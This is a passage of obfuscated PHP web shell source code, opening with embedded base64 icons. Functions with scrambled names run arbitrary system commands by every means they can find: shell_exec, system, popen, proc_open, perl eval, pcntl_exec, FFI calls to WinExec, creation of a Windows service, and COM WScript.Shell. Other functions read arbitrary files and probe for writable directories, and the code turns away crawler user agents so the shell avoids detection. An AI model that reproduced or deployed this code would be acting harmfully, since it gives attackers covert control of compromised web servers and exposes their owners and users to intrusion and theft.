h5jOu4VHpQCBGfaFoFAw2d3Cbm6wfnQKU0cwfkZnP5nOCaaO9aNT7OYGk92tPwlEhMleG9uMUTcPlHtDbKuOr5YREdTNA7YZM9lrF\/ilE+bx9OkDgfWIVovtgGvWsK038Bv2rwQAohV5s\/ZSSNHjFa4gsNaitV7pE51zMw+01lmaphhjlp7kX2mMIU1TtNaZrlarB4PB4LDf779fRUEURYM4jg9+AY0DZ4cpAUR4AAAAAElFTkSuQmCC\",\"avi\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJgSURBVDiNlZO9bhtHFIW\/mZ2d3RVXJEs1hBMYCQtFhhYp1QgR8g58Cbmy38JurJcI8hCBmq0JxEVAG8gP1KiUREhczp2fFLMJbHe+7WDunHO+M+ri4uJn7\/0bpdSLl9\/8RdFU6MpS2BJVGgCSeIIT4t4Rdnve\/f0tKaXfjTGvzG63e9v3\/cnl5SU\/Pj+ksBZdlejSoAqdF4RIFE\/cC8E5fmifcXV19eLs7Oyt8d6frFYr7u7ueAjvsbWlqPLrSo8LYswq9oIbHB\/\/dKxWK7z3J+r09DSt12vOz8\/5mrm+vqbrOtTx8XGazWYAXJ38Q12XaGvRpYbRAiESJRKdYxiEy\/fPALi\/v0d77+n7HhHhcFJStzXNtKaZTTiYtxzMW5rZhGZaU7c1h5MSEaHve7z3GO89XdcBoKuSorYUTZ1pjBSieMJuP+YREBG6rsN7jxYR1us1IoIqCpQp0KWhqCxle0DZHlBUNlMxBaoo+PSO8d6zXC6z16RIMZFSIsWM7n8KKZFigpQQEZbLZVbgvWez2SAimbUIcXD4pwHZPiLbR\/zTQBxcPhOPiLDZbHIGIQQWi0UOe1CgFMSEHi3lIoWcw94RBodIYrFYEELIFm5ubjg6OmL\/lLCjdG2Kz4oUfSA6wQ2CiOL29pb5fI5q2zZZa7+qRP+Ncy4r2G63TKdTfltNqJsKbUt0WXzxF7KCYbfnp18eeXh4oGkaTAjhQ1VV32utmR3WuQO1RdsSZcYMRvlhcFRGIXJHVVWklD6YGOPrGOMbpdR3v\/7xhLYeXRp0WX6hYKTkHM45Ukoftdav\/wWP7nOnXPYUNgAAAABJRU5ErkJggg==\",\"xls\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGUSURBVDiNjZMxa9tAGIbfyAeOAo1iuFsEJmA56RS62SZLfkTH\/IpCO5bQIT8he5f+hC79A7ZXBZo0NhmkRcQKpJAW4\/vuvgzNXSTbSXogEJ907\/O8J7Tx7Xv6YZLPTsu7PyEAHB8pWGvx2gqCIBVCfNz4fPbj79abVrjbjtFoBHh\/qMDML24mIuR5jqIozkVR\/g7ftfdxXcxhmaH1DojoVYM4jpFl2YEgY3B7b2AfqcwMZsZwOAQAKKUwm838RqUUut0umBnGGAhDBDJPnV3AYDDwsyRJanRXkYggiAyqZ+YCptOpJ1ctnAEAaK0hjCWvXw1JkqRGrt47g8cKBtZy7SEzYzQa1ehKqZUqRARhjIGpCLiAfr\/vZ51Op0ZeCqCawboXn1veoHoGzmA8HvuZlBIAUJYlpJS+ylPAmq\/Q6\/VWiMtV\/gXQ+grOQErpyXEcIwzD1QqaCEFDPGvgyMt0IkIgW9vzm+wnSGtYyz7gpWuxWCBNUwghrsTbvfjLxa\/85HJ0sQkAX3X0Xz9Ts9mcRFH06QFIsTx57QMZyQAAAABJRU5ErkJggg==\",\"pl\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A\/wD\/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAsBJREFUOMuV08trXHUUwPHv73fvzJ1H53HlJmPStE2tdtEmXVhfzVSqkNpShCClCykFl26KG\/sXdFtw5cKl\/hlCDQQVbSjVzlhkZiCTKiZjJzWTed7f79x7uwg0uBDs2R7O5zzgqPX19YsicieO4zO8QGitH7qu+7laW1t7OD8\/v1ipVNBa\/6\/iOI7pdDq02+2aa4xZzOZyDIZDtNZorVGA0hqlFGq\/HSpJUEoBkCQJQRDQaDQWdRRFaKWeJ8UKe70uYi3j0ZA\/278hJtyHlQKlcBwHx3GIoghXREAptNYYY2g3f6X7+HuOn77MXq\/DaHeDbGGKIKhgrWXQ3yHlFTiUzyMiuNZalNaEkwl7vS6FvGXq7AW8NKR0hlL+KGawyZNEYSY9vrz9KUsXr1Bd\/gRrLW4URYgxdDp\/ED59hCQJo40uM4ePYCd9lNY4Toqdxz+w3XpA9Y1XmTvxNp6XPVhhPB6x0bhPOtzk\/i8NHt37juMnXmEmKDCcJISDp7x54RLbm7\/jV6aYO3aKYrGIiKBFBGMMg94OX3\/1De9evsH1z74At8zdn\/7m27v3KB95nQc\/\/4ibzlI5uUy5VMJxnP0biAij0YBWbZ3Fd85z6swSmUyGs0uX2P6rze2bH\/H+1Zvkc4fIZLMUij6e55EkyQFgJmOiOOGDD6+Ty+XwPA+lFKN+l\/PvnWP28DEKhSJxHBPHMdbafwNpL8Nbyx8j4ycYY0in0ziOgx8cpVAsISJYa7HWIiJEUYRS6gB4eWaOXC5DEgsiwnA4JI5jCqWXOH3uGmKFwWBAq9Xin91dZmdnMWF4ABSLRcplHxH7fHylFL7vMz09TRiG9Pt9tra2WFlZoVar4fv+PuC6bmN1dfXkwsICqVTqPx9IKUW1WqXb7RIEAfV6Hdd1G24+n7\/VbDbv1Ov1117knT3Pa5ZKpVvPANPKWvOoFTopAAAAAElFTkSuQmCC\",\"htaccess\"=>\"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8\/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A\/wD\/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAmFJREFUOMuV089LVFEYxvHvvXOuMzU69zZjlpWl+StzjBTLCAoljSL6sQiDVi2CNhFBSdtwFSK1rL+goCBoaQaGJBWTSONUNpOTlZFTQVZq051z7mkhKaQGvvAuz4fnOfAasVisTUrZ7XneNpYxpmnGhRAXjf7+\/nhRIFaHOUl4RRMF4V2ISAhtgIGx6GPP88hkMoyNjQ0L13Xr8go8PqeG+DqUxhkboehoFH9TNUbYwTDFokgkEiGZTNYJpRROyUHM9DdGHnzkSSxDVd8kVXsShA9XYbU04LNDCwClFEopTCklPqsEu+Ik5WsqsXwh7kyEuXlXMnFpgFzXbdxUGq31gpVS4mtvb79cWlqKYYcwNzgY76axxhWDmIxMSza++Elo+CXaFpiVxaDn\/yWdTmMqpWZFNIGdFUTPlXGg+hOHPD9fzHV0\/Zph8JHF7ys95Hp78JQ7l2CuwnwssFq2s6qzmeaaUU6rH4SNzVwzvjGQXEu28zGq7yHay81V+AfQaG1gtuwgcPUIFVXvOaY8HKOG6ypLb6KeyRuvUB\/G0Z63FDC7vsYowfPNbHHe0irzyZnl3MqzePO0COPeM\/DU\/wG0xjy+l+CpKPX+UXbLMJNelqGpDF\/iU2Rnsv8HtNZoD8SZVkpOFNNmvSZqOPRt+sn9xgifsy5SSsRfYKnRThDrwj7KC5+z\/7uffruQrD2DszIwD+RyOYQQSyJqdT7Bs000uJLS6fUMx2Lo3GwCUwiRjMfjuK67dBWt0X4fth2grLiYrbW1DCcSCCGSIhgMdqRSqe5EIlG5nHP2+\/0p27Y7\/gDPzYj0H4o5FQAAAABJRU5ErkJggg==\",);function z7x($i,$k=''){global $config;$m=array(\"version\",\"auth\",\"default_vars\",\"banned\",\"use_buffer\",\"visual\",\"reg_interesting\",\"reg_bad\");if(!@isset($m[$i]))return '';return($k!='')?(@isset($config[$m[$i]][$k])?$config[$m[$i]][$k]:''):(@isset($config[$m[$i]])?$config[$m[$i]]:'');}function z3c($i,$t){if($t!='d'&&$t!='f'&&$t!='l'&&$t!='e')return '';if($t=='l'||$t=='e')$t='f';$cs=z9w('reg_self');$ci=z9w('reg_interesting');$cb=z9w('reg_bad');if($t=='f'&&$i==@basename(__FILE__))return(($cs!='')?' style=\"color: '.$cs.'\";':'');foreach(z7x('6',$t)as $r){if(@preg_match('\/'.$r.'\/i',$i))return(($ci!='')?' style=\"color: '.$ci.'\";':'');}foreach(z7x('7',$t)as $r){if(@preg_match('\/'.$r.'\/i',$i))return(($cb!='')?' style=\"color: '.$cb.'\";':'');}}function z6j(){$i=@ini_get('disable_functions');if($i!=''){$f=@array_map('trim',@explode(',',$i));@sort($f);return $f;}else{return array();}}function z9w($i){global $color_skin;$a=z7x('5',$color_skin);return@isset($a[$i])?$a[$i]:'';}function z9u(){if(@isset($_SERVER['HTTP_USER_AGENT'])){if(@preg_match('\/'.@implode('|',z7x(3,\"agents\")).'\/i',$_SERVER['HTTP_USER_AGENT'])){@header(z7x(3,\"send_header\"));exit(0);}}}z9u();function z9s($k,$w='',$u=0){global $lang;$l=z7x(2,\"language\");$r='';if(!isset($lang[$l][$k]))return \"?\";$r=$lang[$l][$k];if($w!==''){if(@is_array($w)){for($i=0;$i<@count($w);$i++){if(@isset($w[$i]))$r=@str_replace(\"[%\".($i+1).\"%]\",$w[$i],$r);}}else{$r=@str_replace(\"[%1%]\",$w,$r);}}return($u?@strtoupper($r):$r);}function z9a(){$o='';if(@defined('PHP_OS')){$o=PHP_OS;}elseif(@function_exists('php_uname')&&@is_callable('php_uname')){$o=@php_uname('s');}return!@empty($o)?$o:\"*NIX\";}function z6b(){$i=@get_included_files();return(@count($i)>0)?($i[0]!=__FILE__):0;}function z9d($d,$s=':'){if($d!=''){if(!@strstr($d,$s))return array($d);return@array_map('trim',@explode($s,$d));}return array();}function z9i($i){foreach(array(\"a\"=>\"4\",\"e\"=>\"3\",\"o\"=>\"0\",\"s\"=>\"5\",\"l\"=>\"1\",\"t\"=>\"7\")as $k=>$v){$i=@str_replace(array($k,@strtoupper($k)),$v,$i);}return $i;}function z3k(){$wwwdir=false;if(@isset($_SERVER[\"SCRIPT_NAME\"])){$sn=z1i($_SERVER[\"SCRIPT_NAME\"]);if(@realpath($sn)){$sp=z1i(@realpath($sn));}else{$sp=z1i(@realpath(__FILE__));}$wwwdir=z1a(@substr($sp,0,@strpos($sp,$sn)));}return $wwwdir;}function z6k(){global $win;$s='\/';$tmp=array();$tp=array();$tn=array('\/tmp\/','\/dev\/shm\/','\/var\/tmp\/');$tw=array(\"%WINDIR\/temp\/\");$ti=array(@ini_get('session.save_path'),@ini_get('upload_tmp_dir'));$te=array('TMP','TMPDIR','TEMP');if($win){foreach($tw as $t)$tp[]=$t;}else{foreach($tn as $t)$tp[]=$t;}if(@isset($_ENV)){foreach($te as $t){if(!@empty($_ENV[$t]))$tp[]=@realpath($_ENV[$t]);}}foreach($ti as $t){if(!@empty($t))$tp[]=$t;}$b=z9d(@ini_get('open_basedir'));if(@count($b)>0){foreach($b as $t){if(!empty($t))$tp[]=$t;}}$tp[]=@realpath(@dirname(__FILE__));for($i=0;$i<@count($tp);$i++){if(!@empty($tp[$i])){$p=@str_replace('\\\\',$s,$tp[$i]);if(@substr($p,-1,1)!=$s){$p.=$s;}if(!@in_array($p,$tmp)){$f=@md5(@uniqid(@time()));$fp=@fopen($p.$f,\"w\");if($fp){@fclose($fp);if(@file_exists($p.$f)){@unlink($p.$f);$tmp[]=@trim($p);}}}}}return(@count($tmp)>0)?$tmp:array(\".\/\");}function z9p($f){global $nix,$sh_exec;$r='';if(z7r('fopen')&&z7r('feof')&&z7r('fgets')&&z7r('feof')&&z7r('fclose')&&($fp=@fopen($f,'r'))!==false){while(!@feof($fp)){$r.=@fgets($fp);};@fclose($fp);}elseif(z7r('fopen')&&z7r('fread')&&z7r('fclose')&&z7r('filesize')&&($fp=@fopen($f,'r'))!==false){$r=@fread($fp,@filesize($f));@fclose($fp);}elseif($nix&&$sh_exec){$r=z9t('cat \"'.$f.'\" 2>\/dev\/null',0);}elseif(z7r('file')&&($fl=@file($f))){foreach($fl as $l){$r.=$l;}}elseif(z7r('file_get_contents')){$r=@file_get_contents($f);}elseif(z7r('readfile')){$r=@readfile($f);}elseif(z7r('highlight_file')){$r=@highlight_file($f);}elseif(z7r('show_source')){$r=@show_source($f);}return $r;}function z9o($f,$t=''){global $tempdir;$s='';if(!$t)$t=@tempnam($tempdir,\"copytemp\");if(@copy(\"compress.zlib:\/\/\".$f,$t)){$s=z9p($t);@unlink($t);}return $s;}function z9y($t,$s=''){if(z7r('fopen')&&z7r('fwrite')&&z7r('fclose')&&($f=@fopen($t,\"wb\"))!==false){@fwrite($f,$s);@fclose($f);}elseif(z7r('fopen')&&z7r('fputs')&&z7r('fclose')&&($f=@fopen($t,\"wb\"))!==false){@fputs($f,$s);@fclose($f);}elseif(z7r('file_put_contents')){return@file_put_contents($t,$s);}else{return 0;}return 1;}function z7r($f){return(@function_exists($f)&&@is_callable($f)&&!@in_array($f,z6j()))?1:0;}function z4r($v){if($v=='')return 'no value';if(@is_bool($v))return $value?'TRUE':'FALSE';if($v===null)return 'NULL';if(@is_object($v))$v=(array)$v;if(@is_array($v)){@ob_start();print_r($v);$v=@ob_get_contents();@ob_end_clean();}return (string)$v;}function z6l($i){return(z7r('escapeshellarg'))?@escapeshellarg($i):$i;}function z9t($c,$h=1){$r='';if(!empty($c)){if(z7r('shell_exec')){$r=@shell_exec($c);}elseif(z7r('system')){@ob_start();@system($c);$r=@ob_get_contents();@ob_end_clean();}elseif(z7r('passthru')){@ob_start();@passthru($c);$r=@ob_get_contents();@ob_end_clean();}elseif(z7r('exec')){@exec($c,$r);$r=@join(\"\\n\",$r);}elseif(z7r('popen')&&@is_resource($f=@popen($c,\"r\"))){if(z7r('fread')&&z7r('feof')){while(!@feof($f)){$r.=@fread($f,1024);}}elseif(z7r('fgets')&&z7r('feof')){while(!@feof($f)){$r.=@fgets($f,1024);}}@pclose($f);}elseif(z7r('proc_open')&&@is_resource($f=@proc_open($c,array(1=>array(\"pipe\",\"w\")),$p))){if(z7r('fread')&&z7r('feof')){while(!@feof($p[1])){$r.=@fread($p[1],1024);}}elseif(z7r('fgets')&&z7r('feof')){while(!@feof($p[1])){$r.=@fgets($p[1],1024);}}@proc_close($f);}}else{$r=z6v($c);}return($h?@htmlspecialchars($r):$r);}function z6v($c){global $win,$tempdir;$r='';if(!empty($c)){if(!$win){if(extension_loaded('perl')){@ob_start();$p=new perl();$p->eval(\"system('$c')\");$r=@ob_get_contents();@ob_end_clean();}elseif(z7r('pcntl_exec')&&z7r('pcntl_fork')){$r='[~] Blind Command Execution via [pcntl_exec]\\n\\n';$o=$tempdir.uniqid('pcntl');$pid=@pcntl_fork();if($pid==-1){$r.='[-] Could not fork. Exit';}elseif($pid){$r.=(@pcntl_wifexited($status)?'[+] Done! Command \"'.$c.'\" successfully executed.':'[-] Error. Incorrect Command.');}else{$c=array(\" -e 'system(\\\"$c > $o\\\")'\");if(@pcntl_exec('\/usr\/bin\/perl',$c))exit(0);if(@pcntl_exec('\/usr\/local\/bin\/perl',$c))exit(0);die();}$r=z9p($o);@unlink($o);}}else{$o=$tempdir.uniqid('NJ');if(extension_loaded('ffi')){$a=new ffi(\"[lib='kernel32.dll'] int WinExec(char *APP,int SW);\");$r=$a->WinExec(\"cmd.exe \/c \".z6l($c).\" >\\\"$o\\\"\",0);while(!@file_exists($o))sleep(1);$r=z9p($o);}elseif(extension_loaded('win32service')){$s=uniqid('NJ');@win32_create_service(array('service'=>$s,'display'=>$s,'path'=>'c:\\\\windows\\\\system32\\\\cmd.exe','params'=>\"\/c \".z6l($c).\" >\\\"$o\\\"\"));@win32_start_service($s);@win32_stop_service($s);@win32_delete_service($s);while(!@file_exists($o))sleep(1);$r=z9p($o);}elseif(extension_loaded(\"win32std\")){@win_shell_execute('..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\system32\\\\cmd.exe \/c '.z6l($c).' > \"'.$o.'\"');while(!@file_exists($o))sleep(1);$r=z9p($o);}else{$a=new COM(\"WScript.Shell\");$a->Run('c:\\\\windows\\\\system32\\\\cmd.exe \/c '.z6l($c).' > \"'.$o.'\"');$r=z9p($o);}@unlink($o);}}return $r;}function z10r(){list($u,$s)=@explode(\" \",@microtime());return((float)$u+(float)$s);}function z4m($c,$i){$a=array('0'=>array('container','login','footer','headnfo','ql','nav','sinfo','tfilter','tahex','phpinfo'),'1'=>array('list1','list2'),'2'=>array('lerror','topcf','topt','topc','tdfooter','tdql','tdsinfo','tdlsh1','tdlsh2','tdlsf','tdlsfn','tdfilter','tdhead','tdph','tdpl','tdlbl','thex1','thex2','thex3','tdlsf1','tdmail'),'3'=>array(\"scroll\",\"selector\",\"divls\",\"dwidth\",\"barbg\",\"barfil\"),'4'=>array('size1','size2','size3','size4','size5','size6','size7','size8','size9','size10'),'5'=>array('links','slinks','button','head','ql1','ql2','but1','but2','but3','fimg','dirlist','filelist','ftactive','ftcompat','ftother','qlback','mbut1','mbut2','actbut'),'6'=>array('console','tgeneric','tedit','txmail','tsql1','tsql2','tinj'),);return(@isset($a[$i][$c])?$a[$i][$c]:'');}function z6z($a='',$c='',$s=''){return '<table cellpadding=\"0\" cellspacing=\"0\" border=\"0\"'.(($a!='')?' align=\"'.$a.'\"':'').(($c!='')?' class=\"'.z4m($c,'0').'\"':'').(($s!='')?z10t($s):'').'>'.\"\\n\";}function z9m($c='',$s=''){return z6z('',$c,$s);}function z7t($c='',$s=''){return z6z('left',$c,$s);}function z7f($c='',$s=''){return z6z('right',$c,$s);}function z7h($c='',$s=''){return z6z('center',$c,$s);}function z10w(){return '<\/table>'.\"\\n\";}function z10e($i,$c='',$s=''){return z9m($c,$s).$i.z10w();}function z7j($i,$c='',$s=''){return z7t($c,$s).$i.z10w();}function z7d($i,$c='',$s=''){return z7f($c,$s).$i.z10w();}function z7s($i,$c='',$s=''){return z7h($c,$s).$i.z10w();}function z7u(){return '<\/tr>'.\"\\n\";}function z6f($v,$c='',$id=''){return '<tr valign=\"'.$v.'\"'.(($id!='')?' id=\"'.$id.'\"':'').(($c!='')?' class=\"'.z4m($c,'1').'\"':'').'>'.\"\\n\";}function z7y($i,$v,$c='',$id=''){return z6f($v,$c,$id).$i.z7u();}function z9f($i,$c='',$id=''){return z7y($i,\"top\",$c,$id);}function z7i($i,$c='',$id=''){return z7y($i,\"middle\",$c,$id);}function z7a($i,$c='',$id=''){return z7y($i,\"bottom\",$c,$id);}function z7p($c='',$id=''){return z6f(\"top\",$c,$id);}function z6g($c='',$id=''){return z6f(\"middle\",$c,$id);}function z5v($c='',$id=''){return z6f(\"bottom\",$c,$id);}function z5n(){return z9f(z9j('&nbsp;'));}function z6d(){return z10e(z5n());}function z5x($a='',$c='',$s=''){return '<div'.(($a!='')?' align=\"'.$a.'\"':'').(($c!='')?' class=\"'.z4m($c,'3').'\"':'').(($s!='')?z10t($s):'').'>';}function z5j(){return '<\/div>';}function z5l($a='',$c='',$s=''){return '<td'.(($a!='')?' align=\"'.$a.'\"':'').(($c!='')?' class=\"'.z4m($c,'2').'\"':'').(($s!='')?z10t($s):'').'>'.\"\\n\";}function z7k($c='',$s=''){return z5l('',$c,$s);}function z5z($c='',$s=''){return z5l('left',$c,$s);}function z6q($c='',$s=''){return z5l('right',$c,$s);}function z6w($c='',$s=''){return z5l('center',$c,$s);}function z4c($a='',$n='',$c='',$s=''){return '<td colspan=\"'.$n.'\"'.(($a!='')?' align=\"'.$a.'\"':'').(($c!='')?' class=\"'.z4m($c,'2').'\"':'').(($s!='')?z10t($s):'').'>'.\"\\n\";}function z6o($n,$c='',$s=''){return z4c('',$n,$c,$s);}function z4k($n,$c='',$s=''){return z4c('left',$n,$c,$s);}function z4l($n,$c='',$s=''){return z4c('right',$n,$c,$s);}function z4z($n,$c='',$s=''){return z4c('center',$n,$c,$s);}function z7g(){return '<\/td>'.\"\\n\";}function z9j($i,$c='',$s=''){return z7k($c,$s).$i.z7g();}function z7l($i,$c='',$s=''){return z5z($c,$s).$i.z7g();}function z7e($i,$c='',$s=''){return z6q($c,$s).$i.z7g();}function z6x($i,$c='',$s=''){return z6w($c,$s).$i.z7g();}function z6c($i,$n,$c='',$s=''){return z6o($n,$c,$s).$i.z7g();}function z6u($i,$n,$c='',$s=''){return z4k($n,$c,$s).$i.z7g();}function z6r($i,$n,$c='',$s=''){return z4l($n,$c,$s).$i.z7g();}function z6t($i,$n,$c='',$s=''){return z4z($n,$c,$s).$i.z7g();}function z5w($n='',$c='',$r=0,$w='',$h=''){return '<textarea'.($n!=''?' id=\"'.$n.'\" name=\"'.$n.'\"':'').' class=\"'.z4m($c,'6').'\"'.(($w!=''||$h!='')?' style=\"'.($w!=''?'width:'.$w.'px;':'').($h!=''?'height:'.$h.'px;':'').'\"':'').($r?' readonly':'').'>';}function z5q(){return '<\/textarea>';}function z9l($t='',$n=''){return '<form method=\"POST\" action=\"\"'.(($t!='')?' target=\"_blank\"':'').(($n!='')?' name=\"'.$n.'\" id=\"'.$n.'\"':'').'>';}function z7w($c='',$t=''){return '<form method=\"POST\" action=\"\"'.(($t!='')?' target=\"_blank\"':'').(($c!='')?' class=\"'.z4m($c,'3').'\"':'').'>';}function z7z(){return '<form method=\"POST\" action=\"\" enctype=\"multipart\/form-data\">';}function z7o($u,$t='',$m='GET'){return '<form method=\"'.$m.'\" action=\"'.$u.'\"'.(($t!='')?' target=\"_blank\"':'').'>';}function z9z(){return '<\/form>';}function z10t($i){$u=array();if(!@is_numeric($i))return '';$a=array('border-top:0;','border-bottom:0;','border-left:0;','border-right:0;','width: 50%;','width: 33%;','border-left: 1px solid #DDDDDD;','text-align: right !important;','width: 150px !important;','margin-left: 0 !important;');$r='';if(@strlen($i)>1){for($n=0;$n<@strlen($i);$n++){$c=$i[$n];if(@isset($a[$c])&&!@isset($u[$c])){$r.=$a[$c];$u[$c]='';}}}else{if(@isset($a[$i]))$r.=$a[$i];}return($r!='')?' style=\"'.$r.'\"':$r;}function z8x($i){return(@is_bool($i)?(($i)?'1':'0'):$i);}function z9x($n=1){return@str_repeat(\"<br>\",$n);}function z9c($n=1){return@str_repeat(\"&nbsp;\",$n);}function z6y($t,$c=''){return '<span class=\"'.$c.'\">'.$t.'<\/span>';}function z4p($t){return z6y($t,\"nw\");}function z8z($t){return z6y($t,\"nr\");}function z5i($t){return z6y($t,\"rw\");}function z9k(){return ' onfocus=\"this.select();\" onmouseover=\"this.select();\" onmouseout=\"this.select();\"';}function z4w($n,$v){global ${$n};return '<input type=\"radio\" name=\"'.$n.'\" value=\"'.$v.'\"'.((@isset(${$n})&&${$n}==$v)?' checked':'').'>';}function z9g($n,$v='1',$o='',$i=''){global ${$n};return '<input type=\"checkbox\" id=\"'.$i.'\" name=\"'.$n.'\" value=\"'.$v.'\" style=\"vertical-align: middle;\"'.(($o=='')?((${$n}==$v)?' checked':''):(($o)?' checked':'')).'>';}function z6e($f,$t){return '<label for=\"'.$f.'\">'.$t.'<\/label>';}function z5y($i,$t,$n,$v='1',$o=''){return z9g($n,$v,$o,$i).z6e($i,$t);}function z9h($n,$c='',$s=''){return '<input type=\"file\" name=\"'.$n.'\" id=\"'.$n.'\"'.(($c!='')?' class=\"'.z4m($c,'4').'\"':'').(($s!='')?z10t($s):'').'>';}function z8h($v,$c='',$o=''){return '<input type=\"text\" value=\"'.z8x($v).'\"'.(($c!='')?' class=\"'.z4m($c,'4').'\"':'').(($o!='')?z9k():'').'>';}function z6i($n,$v,$c='',$o='',$s=''){return '<input type=\"text\" name=\"'.$n.'\" value=\"'.z8x($v).'\"'.(($c!='')?' class=\"'.z4m($c,'4').'\"':'').($s!=''?' '.(@is_numeric($s)?z10t($s):$s):'').(($o!='')?z9k():'').'>';}function z5u($n,$v,$c='',$o='',$s=''){global ${$n};return '<input type=\"text\" name=\"'.$n.'\" value=\"'.((@isset(${$n})&&!@empty(${$n}))?${$n}:((@isset($_SESSION[$n]))?$_SESSION[$n]:z8x($v))).'\"'.(($c!='')?' class=\"'.z4m($c,'4').'\"':'').($s!=''?' '.(@is_numeric($s)?z10t($s):$s):'').(($o!='')?z9k():'').'>';}function z6a($n,$v,$c='',$o=''){return '<input type=\"password\" name=\"'.$n.'\" value=\"'.z8x($v).'\"'.(($c!='')?' class=\"'.z4m($c,'4').'\"':'').(($o!='')?z9k():'').'>';}function z5e($n,$v,$c='',$o=''){global ${$n};return '<input type=\"password\" name=\"'.$n.'\" value=\"'.((@isset(${$n})&&!@empty(${$n}))?${$n}:z8x($v)).'\"'.(($c!='')?' class=\"'.z4m($c,'4').'\"':'').(($o!='')?z9k():'').'>';}function z6p($n,$i,$c='',$s=''){return '<input type=\"submit\" '.($n!=''?' name=\"'.$n.'\"':'').'value=\"'.z8x($i).'\"'.(($c!='')?' class=\"'.z4m($c,'5').'\"':'').(($s!='')?(@is_numeric($s)?z10t($s):$s):'').'>';}function z8v($i,$c='',$s=''){return z6p('',$i,$c,$s);}function z1f($t,$i,$a,$c=''){return '<input type=\"'.$t.'\" value=\"'.$i.'\" '.($t=='submit'?'onsubmit':'onclick').'=\"'.$a.'\"'.(($c!='')?' class=\"'.z4m($c,'5').'\"':'').'>';}function z9q($i,$a,$c=''){return z1f('submit',$i,$a,$c);}function z8m($i,$a,$c=''){return z1f('button',$i,$a,$c);}function z8n($i,$a='',$c='',$e=''){global $use_images;return($use_images?'<input type=\"image\" src=\"?act=i&amp;img='.$i.(($e!='')?'&amp;exe=1':'').'\" value=\"'.$a.'\" alt=\"'.$a.'\"'.(($c!='')?' class=\"'.z4m($c,'5').'\"':'').'>':z1s(($i=='small_dir'||$i=='small_home'?'d':'f')));}function z2x($ip){$ip=@preg_replace('\/[\\t\\s\\r\\n]\/','',$ip);if(!@is_numeric(@str_replace(\".\",\"\",$ip))||@substr_count($ip,\".\")!=3){return \"failed\";}else{$octets=@explode(\".\",$ip);$dec=($octets[0]*1<<24)+($octets[1]*1<<16)+($octets[2]*1<<8)+($octets[3]);return $dec;}}function z2n($ip){$ip=@preg_replace('\/[\\t\\s\\r\\n]\/','',$ip);if(!@is_numeric(@str_replace(\".\",\"\",$ip))||@substr_count($ip,\".\")!=3){return \"failed\";}else{$dec=z2x($ip);$hex=\"0x\".@dechex($dec);return $hex;}}function z1h($ip,$oct=\"\"){$ip=@preg_replace('\/[\\t\\s\\r\\n]\/','',$ip);if(!@is_numeric(@str_replace(\".\",\"\",$ip))||@substr_count($ip,\".\")!=3){return \"failed\";}else{$octets=@explode(\".\",$ip);for($i=0;$i<4;$i++){$decoct=@decoct($octets[$i]);$len=@strlen($decoct);$leading=(9-$len);$oct.=@str_repeat(\"0\",$leading).$decoct.\".\";}$oct=@substr($oct,0,@strlen($oct)-1);return $oct;}}function z9b($n,$v=NULL){global ${$n};return '<input type=\"hidden\" name=\"'.$n.'\" value=\"'.(($v==NULL)?((@isset(${$n})&&!@empty(${$n}))?${$n}:''):z8x($v)).'\"'.'>';}function z8q($n,$v=NULL){global ${$n};return '<input type=\"hidden\" name=\"'.$n.'\" value=\"'.(($v==NULL)?((@isset(${$n})&&!@empty(${$n}))?${$n}:((@isset($_SESSION[$n]))?$_SESSION[$n]:'')):z8x($v)).'\"'.'>';}function z5k(){return(z7r('get_current_user')&&@get_current_user()!='')?@get_current_user():'Unknown';}function z2s($a=array()){$r='';foreach($a as $k=>$v){$r.=(@is_numeric($k)?z9b($v):z9b($k,$v));}return $r;}function z8g($n,$v=NULL){global ${$n};return(($v==NULL)?((@isset(${$n})&&!@empty(${$n}))?${$n}:''):z8x($v));}function z3e($a=array()){if(@isset($a['backf']))return z2s($a);$r='';foreach($a as $k=>$v){$r.=(@is_numeric($k)?$v.'='.@urlencode(z8g($v)):$k.'='.@urlencode(z8g($k,$v))).'&';}if($r!='')$r=z9b('merged',@base64_encode($r));return $r;}function z8w($a,$t='',$u=0){return($u?z7z():z9l($t)).z3e($a);}function z5c($a,$i,$t=''){return z8w($a,$t).$i.z9z();}function z5m($a,$i){return z8w($a,'',1).$i.z9z();}function z8e($i){return '<span style=\"font-size: 9px; color: #333333; font-weight: bold;\">'.$i.'&nbsp; <\/span>';}function z5t($i){return z7e((!@empty($i)?z8e($i):$i),'15');}function z5b($l,$i){return z6x(z8e($l).$i,'1');}function z10y($h,$n,$c='',$t=''){return '<a href=\"'.$h.'\"'.(($c!='')?' class=\"'.z4m($c,'5').'\"':'').(($t!='')?' target=\"_blank\"':'').'>'.$n.'<\/a>';}function z6s($f){global $nix,$sh_exec;$m='';if(z7r('md5_file')&&@md5_file($f)!==false){$m=@md5_file($f);}elseif($nix&&$sh_exec){$m=z9t('md5sum \"'.$f.'\"',0);if(@strstr($m,' '))$m=@substr($m,0,@strpos($m,' '));}return(@strlen($m)==32)?$m:false;}function z3b(){global $linux,$saddr,$dtotal,$dfree,$bsafe,$bopendir,$bmysql,$bmssql,$boracle,$bpostgres,$bcurl,$use_images;$a=@explode(\" \",@getenv(\"SERVER_SOFTWARE\"));$b=@explode(\"-\",@phpversion());if(@isset($a[0])){$www=$a[0];}else{$www=\"Unknown\";}$www.=z9c(1).z5c(array('act'=>'phpinfo','d'),z8v(\"PHP\/\".$b[0],'0'));echo 